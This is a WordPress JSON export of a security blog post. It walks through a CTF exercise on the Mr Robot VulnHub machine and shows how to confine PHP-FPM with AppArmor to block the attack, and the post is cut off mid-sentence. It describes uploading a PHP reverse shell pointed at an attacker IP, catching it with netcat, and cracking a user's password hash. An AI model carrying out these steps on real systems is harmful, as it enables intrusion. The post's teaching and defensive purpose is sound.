{"id":762,"date":"2017-06-08T09:13:23","date_gmt":"2017-06-08T09:13:23","guid":{"rendered":"https:\/\/zed.inguardians.com\/?p=762"},"modified":"2018-11-30T21:07:46","modified_gmt":"2018-11-30T21:07:46","slug":"protecting-the-mr-robot-vuln-hub-machine-part-2-confining-wordpress-with-apparmor","status":"publish","type":"post","link":"https:\/\/zed.inguardians.com\/blog\/protecting-the-mr-robot-vuln-hub-machine-part-2-confining-wordpress-with-apparmor\/","title":{"rendered":"Protecting the Mr Robot Vuln Hub Machine \u2013 Part 2 – Confining WordPress with AppArmor"},"content":{"rendered":"

[et_pb_section bb_built=”1″ admin_label=”section”][et_pb_row admin_label=”row”][et_pb_column type=”4_4″][et_pb_text admin_label=”Text” background_layout=”light” text_orientation=”left” use_border_color=”off” border_color=”#ffffff” border_style=”solid”]<\/p>\n

This blog post is the sequel to Protecting the Mr Robot Vuln Hub Machine \u2013 Part 1 \u2013 Breaking a Password Spray with OSSEC Active Response<\/a>.<\/p>\n

 <\/p>\n

Attack: Uploading a Web Shell to Get User Daemon<\/h2>\n

 <\/p>\n

Let\u2019s go back on the attack. Remember, we\u2019ve got WordPress administrative access. Naturally, we place a PHP web shell, a PHP script that can give us a shell, in the WordPress install. Kali Linux has a whole directory of web shells, sorted by language:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

We\u2019ll edit php-reverse-shell.php, written by pentestmonkey@pentestmonkey.net<\/a>, to change this line:<\/p>\n

 <\/p>\n

$ip = '127.0.0.1'; \/\/ CHANGE THIS<\/pre>\n

 <\/p>\n

to read:<\/p>\n

 <\/p>\n

$ip = '192.168.17.134';<\/pre>\n

 <\/p>\n

We can upload this into the custom page that this WordPress theme returns for HTTP status code 404 (\u201cnot found\u201d), like so:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

We start up a netcat listener on our Kali system, surf to a non-existent page on the CTF machine, and, again quoting Skip Duckwall<\/a>, \u201cBob\u2019s your uncle!\u201d<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

The defender in me is screaming again, \u201cWhy the *expletive* can WordPress (or PHP for that matter) run \/bin\/sh?\u201d. Yes, my inner monologue has parentheses. Later in this post, we\u2019ll use AppArmor to cut off the web shell access, but let\u2019s keep going on the attack side.<\/p>\n

 <\/p>\n

Attack: Finding a Hashed Password, Reversing It, Logging In<\/h2>\n

 <\/p>\n

We take a look around, and quickly find that there\u2019s a user on this system who has a home directory in the usual \/home location.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

So the second flag (key-2-of-3.txt) is in user robot\u2019s home directory, but we need to get either root or user robot privilege to read that flag. Conveniently, robot has placed an MD5 sum of his password in his home directory. Let\u2019s try looking that hash up through one of the many web sites that has stored hashes of many common passwords. In this case, we\u2019ll use one from the Internet Storm Center, which has 20 million passwords hashed.<\/p>\n

\"\"<\/p>\n

 <\/p>\n

User robot\u2019s password comes out in under a minute: abcdefghijklmnopqrstuvwxyz<\/p>\n

 <\/p>\n

So let\u2019s switch to user robot. \u201csu\u201d won\u2019t work without a pty, so we use a standard trick, as shown below.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

We get the second flag:<\/p>\n

 <\/p>\n

822c73956184f694993bede3eb39f959<\/p>\n

 <\/p>\n

My defender\u2019s mind is again exclaiming, \u201cwait, why can WordPress\/PHP run python? Why can it run su, a Set-UID program? And why can it read robot\u2019s entire home directory, rather than just its public-html or www directory?\u201d<\/p>\n

 <\/p>\n

We\u2019ll come back to the attack to get root and the third flag, but let\u2019s break this stage of the attack with AppArmor.<\/p>\n

 <\/p>\n

Defense: AppArmor for the Web Server, to prevent shell execution and finding hashed passwords<\/h3>\n

 <\/p>\n

Like SELinux, AppArmor provides stronger\u00a0authorization controls around a program, spelling out exactly what files the program can access. \u00a0It also can restrict which “superuser” capabilities are available to a root-privileged program. \u00a0As you’ll see in the rest of this post, AppArmor is far\u00a0easier to learn of these two Mandatory Access Control (MAC) systems. \u00a0That said, SELinux provides much more assurance and containment. \u00a0I teach both AppArmor and SELinux in the training classes I’ve been teaching in corporate trainings and at conferences like Black Hat, CanSecWest and RSA since 2001. \u00a0You can find a link here to this year’s class at Black Hat<\/a>.<\/p>\n

 <\/p>\n

Ubuntu and SUSE Linux both use AppArmor as their default\u00a0MAC system. \u00a0We can “apparmor” a single program on the system, such that everything except that program runs unconfined by the MAC system. \u00a0In practice, most Ubuntu systems are running a very small number of programs with AppArmor\u00a0confinement. \u00a0This post will break this attack by adding confinement around the php-fpm process, the PHP FastCGI Process Manager. \u00a0The PHP-FPM serves as the PHP interpreter for the Apache server. \u00a0We could also confine the Apache server, but I’ve skipped this here for the sake of simplicity.<\/p>\n

 <\/p>\n

One more note: I’m switching virtual machines for the defense. \u00a0The Mr Robot virtual machine uses the Bitnami stack to easily install Apache, MySQL and WordPress, but this results in non-standard file\u00a0locations which would\u00a0make this post harder for the reader (you) to use. \u00a0This section of breaking the attack uses an Ubuntu 16.04 LTS system. \u00a0Here’s our same web shell upload to that fresh victim system:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

And here’s what happens when we trigger that shell:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

Let’s break the attack!<\/p>\n

 <\/p>\n

Creating an AppArmor Profile for PHP<\/h4>\n

 <\/p>\n

To confine a program with AppArmor, you create a “profile” for the program, defining what files it can access and in what ways, as well as a list of root-level capabilities it may be allowed. \u00a0AppArmor has a helper program called aa-genprof, which can\u00a0create a first draft profile for us and can even help us to add items to that profile. \u00a0We’ll use it to\u00a0profile \/usr\/sbin\/php-fpm.<\/p>\n

 <\/p>\n

root@ubuntu:~# aa-genprof \/usr\/sbin\/php-fpm7.0<\/p>\n

 <\/p>\n

Here’s what I see:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

I accidentally hit S, then go to another window to start up PHP-FPM. \u00a0I use systemctl list-units to find the service name for PHP-FPM and then restart that service:<\/p>\n

 <\/p>\n

root@ubuntu:~# systemctl restart\u00a0php7.0-fpm.service<\/pre>\n

 <\/p>\n

In the original window, I hit S again and begin getting aa-genprof’s requests:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

The PHP-FPM wants to use root’s setuid capability, so it can switch its children processes to non-root processes, which will run as www-data. \u00a0We certainly want it to do that. \u00a0You’ll notice that aa-genprof asked me if I want to allow the setuid or generalize to an “abstraction” include file. \u00a0We can take a look at that abstraction file and will broach that in a bit. \u00a0For now, I hit 1 to switch to setuid and then A to allow that.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

I make the same decision for the setgid capability by hitting 3, then A.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

Now we’re being asked about the net_admin capability. \u00a0Let’s look this one up. \u00a0In another window, we run\u00a0“man capabilities”. \u00a0We learn that NET_ADMIN lets root change the system’s IP address, routing tables and firewall, among other functions. \u00a0It’s not clear why PHP would need this just to run, before we even start an application. \u00a0Let’s hit A for now, but promise to come back to this later. \u00a0Remember, we can strip things back out of a profile.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

Now aa-genprof is asking me whether I’d like to let PHP read the \/etc\/group file. \u00a0It offers two other alternatives: include files that serve as groupings of profile components we might use. \u00a0In another window, I take a look at the directory these files are in:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

I can take a look at the rules in the rules in the nameservice include file – here’s the first 20 lines:<\/p>\n

 <\/p>\n

root@ubuntu:\/etc\/apparmor.d\/abstractions# head -20 nameservice \r\n# ------------------------------------------------------------------\r\n#\r\n# Copyright (C) 2002-2009 Novell\/SUSE\r\n# Copyright (C) 2009-2011 Canonical Ltd.\r\n#\r\n# This program is free software; you can redistribute it and\/or\r\n# modify it under the terms of version 2 of the GNU General Public\r\n# License published by the Free Software Foundation.\r\n#\r\n# ------------------------------------------------------------------\r\n\r\n# Many programs wish to perform nameservice-like operations, such as\r\n # looking up users by name or id, groups by name or id, hosts by name\r\n # or IP, etc. These operations may be performed through files, dns,\r\n # NIS, NIS+, LDAP, hesiod, wins, etc. Allow them all here.\r\n \/etc\/group r,\r\n \/etc\/host.conf r,\r\n \/etc\/hosts r,\r\n \/etc\/nsswitch.conf r,\r\n \/etc\/gai.conf r,<\/pre>\n

 <\/p>\n

Reading through this file, I feel pretty good about it. \u00a0We can certainly come back later and redo this profile more restrictively, but let’s keep things simple and choose this include file, rather than only \/etc\/group. \u00a0I hit 2<\/strong>, then A<\/strong>.<\/p>\n

 <\/p>\n

When I reach a question about allowing PHP to read one of its configuration files in \/etc, I choose A for allow there.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

Now I’m asked about the \/etc\/ssl\/openssl.cnf file. \u00a0I’d like to just grant PHP full access to the \/etc\/ssl directory, so I hit G to glob that to \/etc\/ssl\/*, then hit A for allow. \u00a0Then I’m asked to let PHP write a process ID file in\u00a0\/var\/run. \u00a0Of course. \u00a0Hit A.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

PHP would now like to read and write from a socket name for itself. \u00a0This is the method by which it gets requests from the Apache web server, so we’ll definitely allow that. \u00a0It also asks us about the standard Zend engine temporary file in \/tmp. \u00a0We’ll allow that, of course. \u00a0We can actually cover that using the PHP5 abstraction, so we’ll choose option 1, then hit A here.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

As we continue and start to try to hit the WordPress site in a browser, aa-genprof will begin asking us about WordPress directories and the main web content directory \/srv\/www\/wordpress. \u00a0Eventually we give WordPress read access for the entire \/srv\/www\/wordpress where its content lives.<\/p>\n

 <\/p>\n

This is where aa-genprof starts telling us that we’re done with the profile for now, prompting us:<\/p>\n

 <\/p>\n

[(S)can system log for AppArmor events] \/ (F)inish<\/pre>\n

 <\/p>\n

We’ll hit F for Finish, whereupon we’ll be asked:<\/p>\n

 <\/p>\n

The following local profiles were changed. Would you like to save them?\r\n\r\n[1 - \/usr\/sbin\/php-fpm7.0]\r\n(S)ave Changes \/ Save Selec(t)ed Profile \/ [(V)iew Changes] \/ View Changes b\/w (C)lean profiles \/ Abo(r)t<\/pre>\n

 <\/p>\n

We hit S to save the changes, then F to stop the profile generator.<\/p>\n

 <\/p>\n

We can look at our profile in \/etc\/apparmor.d\/usr.sbin.php-fpm7.0:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

We can certainly simplify this by consolidating all of those \/srv\/www\/wordpress\/ lines with a single one that uses the “nested glob” symbol (**), which will include all the subdirectories and their subdirectories… \u00a0This produces a simpler looking profile:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

As shown at the end of that last image, we reload the profile by running;<\/p>\n

 <\/p>\n

aa-genprof \/usr\/sbin\/php-fpm7.0<\/pre>\n

 <\/p>\n

Now, we restart the php7.0-fpm service and immediately run into a failure to start. \u00a0Let’s go look at the logs ourselves and continue tweaking the AppArmor profile by hand. \u00a0We can look at \/var\/log\/kern.log, grep’ing for lines with DENIED and php-fpm7.0 in them, to produce:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

This is a screenful of data and isn’t getting all the files. \u00a0On the other hand, it has tons of duplicates, so let’s do some light shell kung fu to find out what two files are producing all of those DENIED messages. \u00a0We’ll grep the log, then pipe that to awk, where we’ll ask for the 13th column (whitespace-delimited), then pipe that to sort and uniq:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

That’s much more comprehensible!\u00a0One of these days, I’ll try using Powershell for Linux, so I can get columns by name instead of counting, but that’s a future aspiration… \u00a0For now, we got we just need to handle the issues around the MySQL socket that PHP needs to communicate via and systemd’s notification socket. \u00a0Let’s get one copy of a complaint line for each of those files:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

See the “requested_mask” field? It feels us what access the PHP-FPM program attempted. \u00a0From reading those two lines, we see that we need to let the PHP-FPM write to systemd’s notify socket, while it needs to be able to read from and write to MySQL’s socket. \u00a0Easy enough!<\/p>\n

 <\/p>\n

Let’s add those to the end of the AppArmor profile and then reload the profile with aa-enforce:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

We try to start the PHP-FPM service again and find another error. \u00a0There’s a clue in its log file:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

The main PHP-FPM process, which spawns non-root children, needs to be able to write to its own socket. \u00a0We add that to its AppArmor profile and reload with aa-enforce.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

At this point, the PHP-FPM program starts cleanly.<\/p>\n

 <\/p>\n

Testing the Protection<\/h4>\n

 <\/p>\n

We re-try our WordPress PHP web shell now, by triggering the 404 response again. \u00a0Our netcat listener doesn’t receive a shell now and our browser sees:<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

That’s what I’m talking about!<\/p>\n

 <\/p>\n

Let’s look at the \/var\/log\/kern.log file to see what blocked the shell.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

 <\/p>\n

Nice! PHP couldn’t execute any other programs. \u00a0If it had tried just reading and writing other files on the system, it would have had to do so within the constraints of the AppArmor profile. \u00a0In particular, remember that the old files on the system that the PHP-FPM could write to were a PID file, three sockets, and a log file, as shown below:<\/p>\n

 <\/p>\n

\/run\/php\/php7.0-fpm.pid w,\r\n\/run\/php\/php7.0-fpm.sock rw,\r\n\/var\/log\/php7.0-fpm.log w,\r\n\/run\/systemd\/notify w,\r\n\/run\/mysqld\/mysqld.sock rw,<\/pre>\n

 <\/p>\n

That’s not much attack surface. \u00a0Then again, remember Han Solo’s best advice to Luke Skywalker, “don’t get cocky, kid!” Those sockets connect back to the MySQL and Apache web servers. \u00a0I’d strongly recommend applying\u00a0AppArmor to them as well.<\/p>\n

Finally, I should note that whenever you want to change\u00a0themes or add plugins to WordPress, you’ll need to add a line to the profile to let the PHP-FPM modify file content. \u00a0You could do this permanently, but I’d prefer to add that in only when I’m making those kinds of administrative changes. \u00a0This is the line you’d add:<\/p>\n

 <\/p>\n

\/srv\/www\/wordpress\/wp-content\/ rw,<\/span><\/p>\n

\u00a0<\/span><\/p>\n

You could even script this, so that you loosen\u00a0the profile for administrative changes, then tighten it back up as soon as the change is made.<\/p>\n

OK, let’s finish the attack on the Mr Robot system and discuss how you’d defend.<\/p>\n

 <\/p>\n

Attack: Finding a Set-UID Program to Grant Root<\/h3>\n

 <\/p>\n

My first three\u00a0methods for\u00a0escalating privilege on a Linux system, outside of password attacks, are:<\/p>\n

 <\/p>\n